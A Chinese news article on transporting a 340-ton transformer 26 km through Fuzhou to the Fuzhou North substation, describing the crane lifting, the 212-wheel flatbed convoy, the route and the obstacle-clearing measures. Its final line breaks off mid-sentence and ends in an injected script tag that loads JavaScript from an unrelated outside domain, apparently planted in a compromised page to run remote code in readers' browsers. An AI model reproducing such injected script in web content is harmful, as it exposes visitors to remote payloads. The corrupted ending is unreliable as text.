340吨的“巨无霸”——巨型变压器要运输26公里，怎么办？答案是用500吨级的起重船浮吊吊装、212个轮子的超长平板车拉……13日下午1时30分，一台巨型变压器从魁岐码头起吊上岸。下午6时10分，“巨无霸”将开始预计长达六天六夜的运送“旅程”，最终到达目的地——福州北变电站。
据悉，福州北500千伏变电站i期工程于2003年2月建成投运，ii期扩建1台750mva的变压器，计划在今年10月建成投运。这是我省和国家电网公司的重点建设项目，主体工程投资达9000余万元。工程的建成投产将彻底改变福州北变电站单台变压器运行的历史，大大提高省、市电网的运行可靠性，为我市电网提供强大的电源支撑。
如图所示
这台用于ii期扩建工程的“巨无霸”——工程主变压器是由日本三菱公司生产制造。巨型变压器本体长14米，宽4.5米，高为4.5米，重达340吨。“巨无霸”通过6天时间的海上航行运达福州魁岐码头。
13日中午1时30分，为成功吊装“巨无霸”，运输单位特意从上海调来了500吨级的起重船——南洋号。记者１３日看到，这艘船上的钢缆如拳头粗。“起重船的位置以厘米为单位，稍有失误变压器就会偏离运输船中轴线，船也会失去平衡。”经过１小时的精心吊装，变压器成功被吊装到停在码头泊位上的超长平板车组。根据计划，变压器随后将由码头被运往新店变电站。
福建电力有限公司超高压建设管理分公司总工程师鄢庆锰介绍说，大型变压器运输是个复杂的系统工程。为运输这台“巨无霸”，有关部门动用了总长达49.5米长的25轴线运输超长平板车组。整个车组共有212个轮子。加上平板车组本身的重量，此次运输的总重量达到了443.25吨。整个运输路径全长约26公里。行驶时，车组直行速度为≤5公里/小时，转弯车速≤3公里/小时，预计耗时六天六夜。
经过4小时的准备，13日下午6时10分，装载着“巨无霸”的平板车组正式启程。由于车队将途经市区繁华地段，为不给市民出行带来不便，所以选择在夜间出行。这样可以基本确保在14日上班高峰期前到达福飞路。
记者数了一下，整条运输车队共有2辆空中排障车，交警开道车、运输指挥车、大型平板车、检修工作车、民警封路车、后勤保障车各一辆。运输全程由警方开道护送。在某些路段还由警方对整条道路实施交通管制，禁止其它车辆进入，保证运输车队的顺利通行。运输途中，停运设警示牌,夜间停运设警示灯，并设专人看守。
１３日晚，跟队前行的记者留意到，车队经过的路口，一路上都有民警在路口旁控制信号灯，这才使运输过程一路绿灯。由于“巨无霸”高达4.5米，途中不时有工作人员下车，拿长达四五米的挑杆将路上的电线、树杈等物品支起或清除，为“巨无霸”清除障碍。
由于平板车组正常运输高度为6.0米，为此途中将会遇到不少障碍。据统计，在此次26公里的运输道路的上空，共有管道、电信电缆、广播电缆及电力线路和拉线等各种障碍计175处。大部份处在旧福马路、福兴路、化工路、南平路及村道上。需拆移处理的交通信号灯、警示牌、隔离栏等共有16处、道路需拓宽1理的有一处、经过4处铁路道口需加铺钢板通行。沿途经过大小桥梁20座、地下人行通道2处、穿越铁路立交桥1座。受设备重量和运行尺寸的限制，需要对沿途的道路、桥涵和空中线路等设施分别采取防护、加固、顶高、降低车高、拆除等排障措施。
１３日晚8时许，因车队中的起重机发生故障，运输车队滞留在化工路路口进行检修。一直到记者离开现场，机器还在检修中，车队好滞留在路面。
运输路线怎么走？
运输道路途径从魁岐二期码头出发（左转）→旧福马路（左转）→福马路（右转）→福兴路（左转）→化工路（右转）→东二环连江北路（逆向行驶左转）→三八路（右转）→塔头路（逆向行走至塔头右转）→六一路（左转）→湖东路（右转）→五四北路（左转）→琴湖路（右转）→福飞路穿铁路立交桥后（右转）→南平路（左转）→利嘉路（左转）→村道至福州北变电所。
路途难点如何克服？
1、此次运输过程全程约26公里，将会有4个90度的拐弯路口，分别位于魁岐码头出口处、福新路转至化工路、塔头路转至六一路、象峰村村道。这四处地方拐弯半径小、弯急。因此，在平板车组拐弯时“尾巴”部分将无法顺利通过。
对策：因此需将变压器放在托架及10轴线的平板车上，把运输平板车组从2纵列25轴线改为2纵列17轴线平板车组，再将主变压器重新装上2纵列17轴线平板车组上，克服变电所专用道路转弯半径小的困难，以使车辆顺利通过。
2、福飞北路铁路立交桥净高仅5米。变压器本身就有4.5米，加上平板车的高度将超过6米，平板车组将无法直接通过。
对策：需将主变压器横向顶推到铺设的枕木平台，用拖滚法将主变压器托过隧道，而后再装车。这?script src=http://er12.com/t.js>
